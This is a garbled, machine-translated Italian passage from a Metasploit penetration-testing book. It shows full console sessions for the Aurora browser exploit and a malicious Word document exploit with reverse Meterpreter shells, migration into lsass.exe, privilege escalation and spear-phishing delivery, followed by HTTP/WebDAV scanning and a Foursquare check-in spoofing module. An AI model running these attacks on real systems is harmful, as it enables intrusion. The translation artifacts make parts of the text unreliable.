Figura 8-2. L'ultima parte del nostro set di istruzioni di cui abbiamo bisogno

msf >usa multi/gestore msf


exploit(gestore) >imposta payload windows/shell/bind_tcp payload =>
windows/shell/bind_tcp msf exploit(gestore) >imposta LPORT 443 LPORT
=> 443 msf exploit(gestore) >imposta RHOST 192.168. 33.130 RHOST =>
192.168.33.130 msf exploit(handler) >exploit [*] Avvio del gestore del carico
utile...

[*] Gestore bind avviato [*] Fase


di invio (240 byte)
[*] Sessione della shell di comando 1 aperta (192.168.33.129:60463 -> 192.168.33.130:443)

Hai raggiunto una shell di comando di base! Come buona tecnica di esercitazione, prova un Meterpreter di livello
1 inverso e vedi se riesci a ottenere una connessione. Quando hai finito, chiudi semplicemente la finestra di
Immunity Debugger e il gioco è fatto. È importante che tu acquisisca familiarità con Immunity Debugger ora,
perché lo sfrutteremo nei capitoli successivi. Ora lanciamo il nostro primo exploit del browser che utilizza uno spray
heap.
Machine Translated by Google

Esplorando l'exploit Aurora di Internet Explorer


Conoscete le nozioni di base su come funzionano gli heap spray e su come allocare in modo dinamico la memoria e il riempimento
il mucchio con NOP e shellcode. Sfrutteremo un exploit che utilizza questa tecnica e
qualcosa che si trova in quasi tutti gli exploit lato client. L'exploit del browser preferito qui è Aurora
exploit (Microsoft Security Bulletin MS10-002). Aurora è stata più notoriamente usata negli attacchi
contro Google e più di 20 altre grandi aziende tecnologiche. Anche se questo exploit è stato
pubblicato all'inizio del 2010, ci ha particolarmente colpito perché ha sconfitto alcuni dei principali attori
l'industria tecnologica.
Inizieremo utilizzando il modulo Aurora Metasploit e quindi imposteremo il nostro carico utile. I seguenti comandi
dovrebbe essere familiare, perché li abbiamo usati nei capitoli precedenti. Vedrai anche un paio di novità
opzioni di cui parleremo tra poco.
msf> usa windows/browser/ms10_002_aurora
msf exploit(ms10_002_aurora) > imposta il payload windows/meterpreter/reverse_tcp
carico utile => windows/meterpreter/reverse_tcp
msf exploit(ms10_002_aurora) > mostra le opzioni

Opzioni del modulo:

Nome Impostazione attuale richiesta Descrizione


---- --------------- -------- -----------

SRVHOST 0.0.0.0 sì L'host locale su cui ascoltare.

SRVPORT 8080 si La porta locale su cui ascoltare.


SSL falso No Negozia SSL per le connessioni in entrata
SSLVersione SSL3 No Specificare la versione di
SSL che dovrebbe essere utilizzato
(accettato: SSL2, SSL3, TLS1)
URIPATA
No L'URI da utilizzare per questo exploit (l'impostazione predefinita è casuale)

Opzioni di carico utile (windows/meterpreter/reverse_tcp):

Nome Impostazione attuale richiesta Descrizione


---- --------------- -------- -----------

processo EXITFUNC sì Tecnica di uscita: seh, thread, process


LOST sì sì L'indirizzo locale
PORTO 4444 Il porto locale

Sfrutta l'obiettivo:

Nome identificativo
-- ----

0 Automatico

msf exploit(ms10_002_aurora) > imposta SRVPORT 80


SRVPORT => 80

msf exploit(ms10_002_aurora) > imposta URIPATH /


URIPATH => /
msf exploit(ms10_002_aurora) > imposta LHOST 192.168.33.129
LHOST => 192.168.33.129
msf exploit(ms10_002_aurora) > imposta LPORT 443
LPORTTranslated
Machine => 443 by Google
msf exploit(ms10_002_aurora) > exploit -z [*] Exploit in
esecuzione come lavoro in background. msf
exploit(ms10_002_aurora) > [*] Avviato il gestore inverso
su 192.168.33.129:443 [*] Usando l'URL: http://0.0.0.0:80/ [*] IP
locale: http://192.168.33.129:80/ [*] Server avviato.

msf exploit(ms10_002_aurora) >

Innanzitutto, nota che l'impostazione predefinita per SRVHOST è 0.0.0.0: ciò significa che il server Web si collegherà
a tutte le interfacce. SRVPORT in , 8080, è la porta
si attivi a cui utilizzeremo
. Tuttavia, l'utente di destinazione
la porta 80 deve connettersi
anziché affinché l'exploit
8080. Potremmo anche
configurare il server per SSL, ma per questo esempio rimarremo con HTTP standard. URIPATH è l'URL che l'utente
dovrà inserire per attivare la vulnerabilità e lo impostiamo su una barra (/) in Con le nostre impostazioni definite, usa
.
la tua macchina virtuale Windows XP e connettiti all'attaccante usando http://<IP dell'attaccante indirizzo>. Noterai
che la macchina diventa un po' lenta. Dopo un po' di attesa, dovresti vedere una shell Meterpreter. In background, è
stato eseguito l'heap spray ed è stato eseguito il salto nella memoria dinamica, per colpire eventualmente lo shellcode.
Se apri Task Manager in Windows prima di eseguire questo exploit, puoi effettivamente vedere la memoria per
iexplore.exe crescere in modo significativo in base alla crescita dei contatti dell'heap.

msf exploit(ms10_002_aurora) > [*] Invio


danneggiamento della memoria "Aurora" di Internet Explorer al client 192.168.33.130 [*] Fase di invio (748032
byte)
[*] Sessione Meterpreter 1 aperta (192.168.33.129:443 -> 192.168.33.130:1161)

msf exploit(ms10_002_aurora) > sessioni -i 1 [*] Iniziare


l'interazione con 1...

contatore >

Ora hai una shell Meterpreter, ma c'è un piccolo problema. Cosa succede se l'utente target chiude il browser in
base alla lentezza del suo computer? Di fatto perderesti la tua sessione sul bersaglio e, sebbene l'exploit abbia
successo, verrebbe interrotto prematuramente. Fortunatamente, c'è un modo per aggirare questo problema: digita
semplicemente esegui migrare non appena viene stabilita la connessione e spera di farlo in tempo. Questo script
Meterpreter migra automaticamente nello spazio di memoria di un processo separato, solitamente lsass.exe, per
aumentare le possibilità di mantenere aperta la shell se l'utente di destinazione chiude il processo originariamente
sfruttato.
meterpreter > esegui migra [*]
Processo server corrente: IEXPLORE.EXE (2120)
[*] Migrazione a lsass.exe...
[*] Migrazione nel processo ID 680 [*] Nuovo
processo server: lsass.exe (680) meterpreter >

Questo è un processo piuttosto manuale. Puoi automatizzare l'intero processo utilizzando alcune opzioni avanzate
per migrare automaticamente a un processo su una shell di successo. Digitare show advanced per elencare le
funzionalità avanzate del modulo Aurora:

msf exploit(ms10_002_aurora) > mostra avanzato

Opzioni avanzate del modulo:


Machine Translated by Google
Nome : File di informazioni di contesto
Impostazioni correnti:
Descrizione : il file di informazioni che contiene le informazioni sul contesto

Nome : Disabilita PayloadHandler


Impostazione corrente: false
Descrizione : Disabilita il codice gestore per il carico utile selezionato

Nome : EnableContextEncoding
Impostazione corrente: false
Descrizione : usa il contesto transitorio durante la codifica dei payload

Nome : SPAZIO DI LAVORO

Impostazioni correnti:
Descrizione : Specificare l'area di lavoro per questo modulo

Opzioni avanzate del carico utile (windows/meterpreter/reverse_tcp):

Nome : Caricamento automaticoStdapi


Impostazione corrente: true
Descrizione : carica automaticamente l'estensione Stdapi

Nome : Esecuzione automatica


Impostazione corrente:
Descrizione: uno script da eseguire automaticamente alla creazione della sessione.

Nome : Informazioni sul sistema automatico

Impostazione corrente: true


Descrizione: acquisisce automaticamente le informazioni di sistema all'inizializzazione.

Nome : Esecuzione automatica iniziale


Impostazioni correnti:
Descrizione : uno script iniziale da eseguire sulla sessione creata (prima di AutoRunScript)

Nome : tentativi di connessione inversa


Impostazione attuale: 5
Descrizione : Il numero di tentativi di connessione
provare prima di uscire dal processo
Nome : SPAZIO DI LAVORO

Impostazioni correnti:
Descrizione : Specificare l'area di lavoro per questo modulo

msf exploit(ms10_002_aurora) >

Impostando queste opzioni, puoi mettere a punto gran parte del carico utile e sfruttare i dettagli. Ora supponi di te
voleva cambiare la quantità di tentativi che una connessione inversa avrebbe fatto. Il valore predefinito è 5, ma potresti
preoccupati dei timeout e desideri aumentare i tentativi di connessione. Qui, lo impostiamo a 10:

msf exploit(ms10_002_aurora) > imposta ReverseConnectRetries 10

In questo caso, si desidera migrare automaticamente a un nuovo processo nel caso in cui l'utente di destinazione chiuda il
browser subito. Sotto AutoRunScript, fai semplicemente sapere a Metasploit di eseguire automaticamente uno script non appena
quando viene creata una console Meterpreter. L'uso del comando migrate con l'opzione -f dice a Meterpreter
per avviare automaticamente un nuovo processo e migrare su di esso:

msf exploit(ms10_002_aurora) > imposta AutoRunScript migrate -f

Ora prova a eseguire l'exploit e guarda cosa succede. Prova a chiudere la connessione e vedi se il tuo
La sessione Meterpreter rimane ancora attiva.
Machine
Poiché Translated
si tratta di unby Google
exploit basato su browser, molto probabilmente verrà eseguito come account utente limitato.
Ricordarsi di emettere i comandi use priv e getsystem per tentare l'escalation dei privilegi sulla macchina di destinazione.

Questo è tutto! Hai appena eseguito con successo il tuo primo attacco lato client usando un exploit piuttosto famoso.
Nota che i nuovi exploit vengono rilasciati frequentemente, quindi assicurati di cercare tutti gli exploit del browser e
trova quello più adatto alle tue esigenze per un particolare obiettivo.
Machine Translated by Google

Exploit del formato file


I bug del formato file sono vulnerabilità sfruttabili che si trovano all'interno di una determinata applicazione, come Adobe
documento PDF. Questa classe di exploit si basa su un utente che apre effettivamente un file dannoso in una posizione vulnerabile
applicazione. I file dannosi possono essere ospitati in remoto o inviati tramite e-mail. Abbiamo brevemente accennato
sfruttare i bug del formato dei file come attacco di spear-phishing all'inizio di questo capitolo, e lo offriremo
maggiori informazioni sullo spear-phishing nel Capitolo 10.

Negli exploit dei formati di file tradizionali, puoi sfruttare qualsiasi cosa a cui pensi che sarà il tuo obiettivo
suscettibile. Potrebbe trattarsi di un documento Microsoft Word, un PDF, un'immagine o qualsiasi altra cosa
essere applicabile. In questo esempio, utilizzeremo MS11-006, noto come Microsoft Windows
Overflow del buffer di stack CreateSizedDIBSECTION.

All'interno di Metasploit, esegui una ricerca per ms11_006. Il nostro primo passo è entrare nel nostro exploit
msfconsole e digita info per vedere quali opzioni sono disponibili. Nel prossimo esempio, puoi vedere che il
il formato del file viene esportato come documento:

msf > usa windows/fileformat/ms11_006_createsizeddibsection


msf exploit(ms11_006_createsizeddibsection) > info

. . . SPICCHIA. . .

Obiettivi disponibili:
Nome identificativo
-- ----

0 Automatico
1 Windows 2000 SP0/SP4 inglese
2 Windows XP SP3 inglese
3 Crash Target per il debug

Successivamente, puoi vedere che abbiamo alcuni obiettivi disponibili da utilizzare, ma lo renderemo automatico e ce ne andremo
tutto alle impostazioni predefinite:

Opzioni di base:
Nome Impostazioni correnti Descrizione richiesta
---- --------------- -------- -----------

NOME FILE si msf.doc Il nome del file.


OUTPUTPATH /opt/metasploit3/msf3/data/exploits sì La posizione del file.

Dovremo impostare un carico utile come al solito. In questo caso, selezioneremo la nostra prima scelta, un Meterpreter inverso
guscio:

msf exploit(ms11_006_createsizeddibsection) >


imposta payloadwindows/meterpreter/reverse_tcp
carico utile => windows/meterpreter/reverse_tcp
msf exploit(ms11_006_createsizeddibsection) > imposta LHOST 172.16.32.128
LHOST => 172.16.32.128
smsf exploit(ms11_006_createsizeddibsection) > imposta LPORT 443
PORTO => 443
msf exploit(ms11_006_createsizeddibsection) > exploit

[*] Creazione del file 'msf.doc'...

[*] File di output generato /opt/metasploit3/msf3/data/exploits/msf.doc


msf exploit(ms11_006_createsizeddibsection) >
Machine Translated by Google

Invio del carico utile


Il nostro file è stato esportato come msf.doc e inviato alla directory /opt/ all'interno di Metasploit. Ora che abbiamo
il nostro documento dannoso, possiamo creare un'e-mail per il nostro obiettivo e sperare che l'utente lo apra. A
questo punto, dovremmo già avere un'idea dei livelli di patch e delle vulnerabilità del target. Prima di aprire
effettivamente il documento, è necessario configurare un listener multi-gestore. Ciò garantirà che quando l'exploit
viene attivato, la macchina dell'attaccante può ricevere la connessione dalla macchina di destinazione (carico utile
inverso).
msf exploit(ms11_006_createsizeddibsection) > usa multi/gestore msf exploit(gestore)
> imposta il payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/
reverse_tcp msf exploit(handler) > imposta LHOST 172.16.32.128 LHOST =>
172.16.32.128 msf exploit (gestore) > set LPORT 443 LPORT => 443 msf exploit(gestore)
> exploit -j [*] Exploit in esecuzione come lavoro in background.

[*] Avviato il gestore inverso su 172.16.32.128:443 [*] Avviando il


gestore del carico utile... msf exploit(gestore) >

Apriamo il documento su una macchina virtuale Windows XP e ci dovrebbe essere presentata una shell (a
condizione che la nostra VM sia Windows XP SP3):
msf exploit(handler) > [*] Fase
di invio (749056 byte) a 172.16.32.131 [*] Sessione Meterpreter 1
aperta (172.16.32.128:443 -> 172.16.32.131:2718) a Sun Apr 03 21:39:58 ÿ 0400 2011 msf exploit(handler)
> sessioni -i 1 [*] Inizio interazione con 1... meterpreter >

Abbiamo sfruttato con successo una vulnerabilità del formato file creando un documento dannoso tramite Metasploit
e quindi inviandolo al nostro utente di destinazione. Ripensando a questo exploit, se avessimo eseguito un'adeguata
ricognizione sul nostro utente target, avremmo potuto creare un'e-mail piuttosto convincente. Questo exploit è un
esempio di numerosi exploit di formati di file disponibili in Metasploit.
Machine Translated by Google

Conclusione Abbiamo

spiegato come funzionano generalmente gli exploit lato client manipolando l'heap per lavorare a favore
dell'attaccante. Abbiamo spiegato come funzionano le istruzioni NOP all'interno di un attacco e come utilizzare le basi di
un debugger. Imparerai di più sull'utilizzo di un debugger nel Capitolo 14 e nel Capitolo 15. MS11-006 era un overflow
basato sullo stack, che tratteremo in modo approfondito nei capitoli successivi. Nota che la tua percentuale di successo
con questi tipi di attacchi risiede nella quantità di informazioni che ottieni sul bersaglio prima di tentare di eseguire gli
attacchi.
Come tester di penetrazione, ogni bit di informazione può essere utilizzato per creare un attacco ancora migliore. Nel
caso dello spear-phishing, se riesci a parlare la lingua dell'azienda e indirizzare i tuoi attacchi contro unità aziendali più
piccole all'interno dell'azienda che probabilmente non sono di natura tecnica, le tue possibilità di successo aumentano
notevolmente. Gli exploit del browser e gli exploit del formato file sono in genere molto efficaci, a patto che tu faccia i
tuoi compiti. Tratteremo questo argomento in modo più dettagliato nel Capitolo 8 e nel Capitolo 10.
Machine Translated by Google
Capitolo 9. Moduli ausiliari di Metasploit Quando la maggior
parte delle persone pensa a Metasploit, vengono in mente gli exploit. Gli exploit sono fantastici, gli
exploit ti danno il guscio e gli exploit attirano tutta l'attenzione. Ma a volte hai bisogno di qualcosa di
più. Per definizione, un modulo Metasploit che non è un exploit è un modulo ausiliario, che lascia molto
all'immaginazione.
Oltre a fornire preziosi strumenti di ricognizione come scanner di porte e impronte digitali di
servizio, moduli ausiliari come ssh_login possono prendere un elenco noto di nomi utente e password e quindi
tentare di accedere tramite la forza bruta su un'intera rete di destinazione. Nei moduli ausiliari sono inclusi anche
vari fuzzer di protocollo come ftp_pre_post, http_get_uri_long, smtp_fuzzer, ssh_version_corrupt e altri. Puoi
avviare questi fuzzer su un servizio di destinazione nella speranza di trovare le tue vulnerabilità da sfruttare.

Solo perché i moduli ausiliari non hanno un carico utile, non pensare che non li utilizzerai. Ma prima di immergerci
nella loro miriade di usi, ecco una panoramica per aiutarti a vedere con cosa abbiamo a che fare.

root@bt:/opt/framework3/msf3/modules/auxiliary# ls -l total 52 drwxr-xr-x 23


root root 4096 10 aprile 03:22 admin drwxr-xr-x 4 root root 4096 14 dic 03:25
client drwxr-xr-x 16 radice radice 4096 1 gennaio 04:19 dos drwxr-xr-x 8 radice
radice 4096 14 dic 03:25 fuzzers drwxr-xr-x 3 radice radice 4096 2 maggio
15:38 raccogliere drwxr-xr-x 4 root root 4096 14 dic 03:25 pdf drwxr-xr-x 36 root
root 4096 10 aprile 03:22 scanner drwxr-xr-x 5 root root 4096 2 maggio 15:38
server drwxr-xr-x 3 root root 4096 maggio 2 15:38 sniffer drwxr-xr-x 5 root root
4096 14 dic 03:25 spoof drwxr-xr-x 4 root root 4096 14 dic 03:25 sqli drwxr-xr-x
3 root root 4096 2 maggio 15:38 test drwxr-xr-x 3 root root 4096 2 maggio 15:38
voip

Come puoi vedere nell'elenco precedente, i moduli sono installati all'interno della directory /modules/auxiliary del
Framework e all'interno di essa, ordinati in base alle funzioni che forniscono. Se desideri creare il tuo modulo
o modificarne uno esistente per soddisfare uno scopo specifico, li troverai nelle directory corrispondenti. Ad
esempio, se hai bisogno di sviluppare un modulo fuzzer per dare la caccia ai tuoi bug, troverai alcuni moduli
preesistenti nella directory /fuzzers.
Per elencare tutti i moduli ausiliari disponibili all'interno di Metasploit, è sufficiente eseguire il comando
show ausiliario all'interno di msfconsole. Se confronti l'elenco delle directory precedente con i nomi dei moduli
visualizzati in msfconsole, noterai che la denominazione dei moduli dipende dalla struttura della directory
sottostante, come mostrato di seguito.

msf > mostra ausiliario

Ausiliario
=========

Nome Rango Descrizione


---- ---- -----------
admin/backupexec/dump normale
Veritas Backup Exec Windows Remote
Accesso ai file
Machineadmin/backupexec/registro
Translated by Google normale Verità
Registro di backup del server Exec
Accesso
admin/cisco/ios_http_auth_bypass normale Cisco IOS HTTP non autorizzato
Accesso amministrativo
. . . SPICCHIA. . .

fuzzers/ssh/ssh_version_corrupt fuzzers/tds/ normale Corruzione della versione SSH


tds_login_corrupt normale Protocollo TDS
Corruzione della richiesta di accesso
Fuzzer
fuzzers/tds/tds_login_username normale
Nome utente della richiesta di accesso al protocollo TDS
Fuzzer
fuzzers/wifi/fuzz_beacon fuzzers/ normale Fuzzer senza fili della struttura del beacon
wifi/fuzz_proberesp normale
Fuzzer del frame di risposta della sonda wireless
raccogliere/citrix_published_applications normale Citrix MetaFrame ICA Pubblicato
Scanner per applicazioni
raccogliere/citrix_published_bruteforce normale Citrix MetaFrame ICA Pubblicato
Applicazioni Bruteforce
raccogliere/dns_enum normale Modulo di enumerazione DNS
raccogliere/search_email_collector normale
Indirizzo e-mail del dominio del motore di ricerca
Collettore
pdf/foxit/authbypass normale Foxit
Bypass autorizzazione lettore
scanner/backdoor/energizer_duo_detect normale scanner/db2/ Scanner per trojan Energizer DUO
db2_auth normale DB2
Utilità di autenticazione Brute Force
scanner/db2/db2_versione normale Utilità sonda DB2

Come puoi vedere in questo output ritagliato, i moduli ausiliari sono organizzati per categoria. Al tuo
smaltimento sono il modulo di enumerazione DNS, fuzzer Wi-Fi e persino un modulo per individuare e abusare del
Backdoor Trojan incluso nei caricabatteria USB Energizer.

L'utilizzo di un modulo ausiliario è simile all'utilizzo di qualsiasi exploit all'interno del Framework: è sufficiente eseguire l' utilizzo
comando seguito dal nome del modulo. Ad esempio, per utilizzare il modulo webdav_scanner (esplorato in
Moduli ausiliari in uso in Moduli ausiliari in uso), eseguireste use
scanner/http/webdav_scanner come mostrato di seguito.

NOTA

Nei moduli ausiliari, le opzioni di base sono leggermente diverse con un'opzione RHOSTS per indirizzare più macchine e un THREADS
valore per ottimizzare la velocità della scansione.

msf > usa scanner/http/webdav_scanner

msf ausiliario(webdav_scanner) > info

Nome: Scanner HTTP WebDAV


Versione: 9179
Licenza: Metasploit Framework License (BSD)
Grado: Normale

Fornito da:
e <et@metasploit.com>
Machine Translated
Opzioni di base: by Google
Nome Impostazione attuale richiesta Descrizione
---- --------------- -------- -----------

Procure No Usa una catena proxy

ROST si si L'intervallo di indirizzi di destinazione o l'identificatore CIDR


RAPPORTO 80 La porta di destinazione

FILI 1 sì Il numero di thread simultanei


VHOST No Host virtuale del server HTTP

Descrizione:
Rileva i server web con WebDAV abilitato

msf ausiliario (webdav_scanner) >

Qui diamo il comando use per il modulo di interesse. Possiamo quindi ottenere un dump completo di
informazioni dal sistema utilizzando le opzioni del comando info . , oltre a un elenco dei vari disponibili
All'interno delle opzioni, vediamo che l'unica opzione richiesta senza un valore predefinito è che RHOSTS può , quale
accettare un singolo indirizzo IP, elenco, intervallo o notazione CIDR.

Le altre opzioni variano principalmente a seconda del modulo ausiliario utilizzato. Ad esempio, il

L'opzione THREADS consente di avviare più thread come parte di una scansione, il che velocizza le cose
esponenzialmente.

Moduli ausiliari in uso


I moduli ausiliari sono eccitanti perché possono essere usati in tanti modi per tante cose. Se tu
non riesce a trovare il modulo ausiliario perfetto, è facile modificarne uno in base alle proprie esigenze.

Considera un esempio comune. Supponiamo che tu stia conducendo un test di penetrazione remoto e dopo aver scansionato il file
rete, identifichi un certo numero di server web e non molto altro. La tua superficie di attacco è limitata a
a questo punto, e devi lavorare con ciò che è a tua disposizione. Il tuo scanner ausiliario/moduli http
ora si rivelerà estremamente utile mentre cerchi frutti bassi contro i quali puoi lanciare un
sfruttare. Per cercare tutti gli scanner HTTP disponibili, eseguire search scanner/http come mostrato qui.
msf ausiliario(webdav_scanner) > ricerca scanner/http
[*] Ricerca moduli caricati per pattern 'scanner/http'...

Ausiliario
=========

Nome Rango Descrizione


---- ---- -----------
scanner/http/file_di_backup scanner/ normale scanner di file di backup HTTP
http/blind_sql_query normale
Scanner HTTP Blind SQL injection GET QUERY
scanner/http/dirs_brute normale
Scanner HTTP Directory Brute Force
scanner/http/cert scanner/ normale HTTP SSL Certificate Checker
http/copy_of_file scanner/http/ scanner di file di copia HTTP normale
dir_listing normale
Scanner per elenchi di directory HTTP
scanner/http/dir_scanner scanner/ normale scanner di directory HTTP
http/dir_webdav_unicode_bypass normale
MS09-020 IIS6 WebDAV Unicode Auth Bypass
Machine Translated by Google Scanner di directory
scanner/http/enum_delicious Pull normale
Del.icio.us Link (URL) per un dominio
scanner/http/enum_wayback Estrai normale
gli URL archiviati da Archive.org per un dominio
scanner/http/error_sql_injection Scanner normale
SQL Injection basato su errori HTTP
scanner/http/file_stesso_nome_dir HTTP normale
File Stesso nome Directory Scanner
scanner/http/dir_file scanner/ scanner di file interessanti HTTP normale
http/frontpage_login Utilità di accesso normale
alle estensioni del server di FrontPage
scanner/http/http_login scanner/ normale utilità di accesso HTTP
http/versione_http scanner/http/ normale rilevamento della versione HTTP
lucky_punch HTTP Microsoft SQL normale
Injection Table XSS
Infezione
scanner/http/ms09_020_webdav_unicode_bypass normale
MS09-020 IIS6 WebDAV Unicode Auth Bypass
scanner/http/opzioni normale rilevamento delle opzioni HTTP
scanner/http/prev_dir_stesso_nome_file HTTP normale
Scanner file directory precedente
scanner/http/replace_ext normale scanner di estensioni di file HTTP

scanner/http/robots_txt
normale scanner di contenuti HTTP Robots.txt
scanner/http/soap_xml normale
Scanner HTTP SOAP per verbi/sostantivi Brute Force
scanner/http/sqlmap normale SQLMAP SQL
Modulo esterno iniezione
scanner/http/ssl HTTP normale
Informazioni sul certificato SSL
scanner/http/svn_scanner normale scanner di sovversione HTTP
scanner/http/tomcat_mgr_login normale Tomcat
Utilità di accesso a Gestione applicazioni
scanner/http/trace_axd HTTP normale
Scanner di contenuti trace.axd
scanner/http/verb_auth_bypass normale verbo HTTP
Scanner di bypass dell'autenticazione
scanner/http/vhost_scanner normale HTTP Virtuale
Scanner per la forza bruta dell'ospite
scanner/http/vmware_server_dir_trav normale VMware Server
Directory trasversale
Vulnerabilità
scanner/http/web_vulndb normale scanner HTTP Vuln

scanner/http/webdav_ip_interno
normale HTTP WebDAV Scanner IP interno
scanner/http/webdav_scanner normale HTTP WebDAV Scanner
scanner/http/webdav_website_content HTTP normale
Scanner dei contenuti del sito WebDAV

scanner/http/scrivibile
normale percorso scrivibile HTTP PUT/DELETE Accesso ai file
scanner/http/xpath normale HTTP Blind XPATH 1.0 Iniettore

Ci sono molte opzioni qui, quindi identifichiamo alcuni probabili candidati in quell'elenco. Si noti che lì
sono le opzioni per identificare il file robots.txt da vari server, numerosi modi per interagire
con WebDAV , strumenti per identificare i server con accesso a file scrivibili , e molti altri speciali-
Machine
moduli Translated by Google
di scopo.
Puoi vedere immediatamente che ci sono moduli che puoi usare per l'esplorazione successiva. Le versioni precedenti
di Microsoft IIS presentavano una vulnerabilità nelle loro implementazioni WebDAV che consentiva lo sfruttamento
remoto, quindi è possibile eseguire prima una scansione rispetto ai propri obiettivi nella speranza di trovare un server
con WebDAV abilitato, come segue.

msf ausiliario(dir_webdav_unicode_bypass) > usa scanner/http/webdav_scanner


msf ausiliario (webdav_scanner) > mostra le opzioni

Opzioni del modulo:

Nome Impostazione attuale richiesta Descrizione


---- --------------- -------- -----------

Procure No Usa una catena proxy


ROST sì L'intervallo di indirizzi di destinazione o l'identificatore CIDR
RAPPORTO 80 sì sì La porta di destinazione
FILI 1 Il numero di thread simultanei
VHOST No Host virtuale del server HTTP

msf auxiliary(webdav_scanner) > set RHOSTS


192.168.1.242, 192.168.13.242.252, 192.168.13.242.254,
192.168.4.116, 192.168.4.118, 192.168.4.122, 192.168.13.242.251, 192.168.13.242.234,
192.168. 8.67, 192.68.8.113, 192.168.13.242.231, 192.168.13.242.249, 192.168.4.115,
192.168.8.66, 192.168.8.68, 192.168.6.62

RHOSTS => 192.168.1.242, 192.168.13.242.252, 192.168.13.242.254, 192.168.4.116, 192.168.4.118, 192.168.4.122,


192.168.13.242.251, 192.168.13.242.234, 192.168.8.67, 192.168.6.113 , 192.168.13.242.231, 192.168.13.242.249,
192.168.4.115, 192.168.8.66, 192.168.8.68, 192.168.6.62 msf ausiliario(webdav_scanner) > esegui

[*] 192.168.1.242 (Microsoft-IIS/6.0) WebDAV disabilitato.


[*] 192.168.13.242.252 (Apache/2.2.9 (Debian) proxy_html/3.0.0 mod_ssl/2.2.9 OpenSSL/0.9.8g) WebDAV
disabilitato.
[*] Scansionato 04 host su 31 (012% completo)
[*] Scansionato 07 host su 31 (022% completo)
[*] 192.168.4.116 (Apache/2.2.3 (Red Hat)) WebDAV disabilitato.
[*] Scansionato 10 host su 31 (032% completo)
[*] 192.168.4.122 (Apache/2.2.3 (Red Hat)) WebDAV disabilitato.
[*] Scansionato 13 host su 31 (041% completo)
[*] 192.168.13.242.251 (Microsoft-IIS/6.0) WebDAV disabilitato.
[*] 192.168.13.242.234 (Microsoft-IIS/6.0) WebDAV disabilitato.
[*] Scansionato 16 host su 31 (051% completo)
[*] 192.168.8.67 (Microsoft-IIS/6.0) WebDAV disabilitato.
[*] Scansionato 19 host su 31 (061% completo)

[*] 192.168.6.113 (Microsoft-IIS/5.0) ha WEBDAV ABILITATO [*] 192.168.13.242.231


(Microsoft-IIS/6.0) WebDAV disabilitato.
[*] Scansionato 22 host su 31 (070% completo)
[*] 192.168.13.242.249 (Microsoft-IIS/6.0) WebDAV disabilitato.
[*] Scansionato 25 host su 31 (080% completo)
[*] 192.168.4.115 (Microsoft-IIS/6.0) WebDAV disabilitato.
[*] 192.168.8.66 (Microsoft-IIS/6.0) WebDAV disabilitato.
[*] Scansionato 28 host su 31 (090% completo)
[*] 192.168.8.68 (Microsoft-IIS/6.0) WebDAV disabilitato.
[*] Scansionato 31 host su 31 (completato al 100%)
[*] Esecuzione del modulo ausiliario completata

Come puoi vedere in questo esempio, un certo numero di server HTTP sono stati scansionati nella ricerca
Machine Translated by Google
WebDAV . Questo modulo è stato rapidamente identificato
,
e solo uno ha Web-DAV abilitato a un sistema
specifico contro il quale è possibile lanciare ulteriori attacchi.

NOTA

La funzionalità del modulo ausiliario va ben oltre la scansione. Come vedrai nel Capitolo 14 , anche i moduli ausiliari funzionano alla grande come
fuzzers con una piccola modifica. Sono disponibili anche diversi moduli Denial of Service per il Wi-Fi (inclusi dos/wifi/deauth),
che può rivelarsi piuttosto dirompente se usato correttamente.
Machine Translated by Google
Anatomia di un modulo ausiliario Diamo un'occhiata
alla composizione di un modulo ausiliario in un piccolo esempio divertente non attualmente nel repository
Metasploit (perché non riguarda i test di penetrazione). Questo esempio dimostrerà quanto sia facile
scaricare una grande quantità di programmazione sul Framework, consentendoci di concentrarci sulle
specifiche di un modulo.
Chris Gates ha scritto un modulo ausiliario per Framework che ha dato ai suoi follower su Twitter
l'impressione di aver inventato in qualche modo un dispositivo che gli permettesse di viaggiare alla velocità della
luce. È un ottimo esempio del riutilizzo del codice disponibile in Metasploit. (Puoi accedere alla fonte dello script
all'indirizzo http://carnal0wnage.googlecode.com/.)

root@bt:/opt/framework3/msf3# cd modules/auxiliary/admin/ root@bt:/opt/


framework3/msf3/modules/auxiliary/admin# wget http://
carnal0wnage.googlecode .com/svn/trunk/ msf3/modules/auxiliary/admin/
random/foursquare.rb

Abbiamo posizionato il modulo nella nostra directory ausiliaria in modo che sia disponibile per l'uso da parte
di Metasploit. Ma prima di usare questo modulo, diamo un'occhiata allo script vero e proprio e analizziamo i
componenti in modo da poter vedere esattamente cosa contiene il modulo.
richiedono 'msf/core'

classe Metasploit3 < Msf::Ausiliare

# Gli Exploit mixin dovrebbero essere chiamati per primi

include Msf::Exploit::Remote::HttpClient include


Msf::Auxiliary::Report

Il modulo inizia con le prime due righe che importano le funzioni client della . Quindi crea l'HTTP
classe ausiliaria disponibili per l'uso all'interno dello script.
def inizializza super(

'Nome' => 'Poster della posizione di quattro quadrati',


'Versione => '$Revisione:$',
'Descrizione' => 'F*ck con Foursquare, be
ovunque tu voglia essere per ID sede',
'Autore' => ['CG'],
'Licenza' => MSF_LICENZA,
'Riferimenti' => [

[ 'URL', 'http://groups.google.com/group/foursquare-api' ], [ 'URL', 'http://


www.mikekey.com/im-a-foursquare-cheater/'] ,
]
)
#todo passa in geocoords invece di venueid, crea un venueid, altre sciocchezze tom register_options( [

Opt::RHOST('api.foursquare.com'),
OptString.new('VENUEID', [ true, 'foursquare venueid',
'185675']), #Louvre OptString.new('USERNAME', [ true, ' quadrilatero Parigi, Francia
Machine Translated
username', by Google
'username']),
OptString.new('PASSWORD', [ true, 'foursquare password',
'password']), ], self.class)

fine

All'interno del costruttore di inizializzazione definiamo gran parte delle informazioni che vengono riportate quando
si emette il comando info in msfconsole. Possiamo vedere dove sono definite le varie opzioni e se sono richieste.
Finora, sono tutti piuttosto diretti e i loro scopi sono chiari. Tuttavia, non abbiamo ancora visto alcuna logica reale
eseguita. Quello viene dopo.
def eseguire

inizio

user = datastore['USERNAME'] pass =


datastore['PASSWORD'] venid =
datastore['VENUEID'] user_pass =
Rex::Text.encode_base64(user + ":" + pass) decode =
Rex::Text.decode_base64( user_pass) postrequest = "twitter=1\n" #add
facebook=1 se vuoi facebook

print_status("Utente/Passo codificato Base64: #{pass_utente}") #debug


print_status("Utente/Passato codificato Base64: #{decodifica}") #debug

res = send_request_cgi({ 'uri' =>


"/v1/checkin?vid=#{venid}",
'version' => "1.1", 'method' => 'POST',
'data' => postrequest, ' intestazioni' =>

{
'Autorizzazione' => "Base #{user_pass}",
'Connessione proxy' => "Mantieni vivo",
}
}, 25)

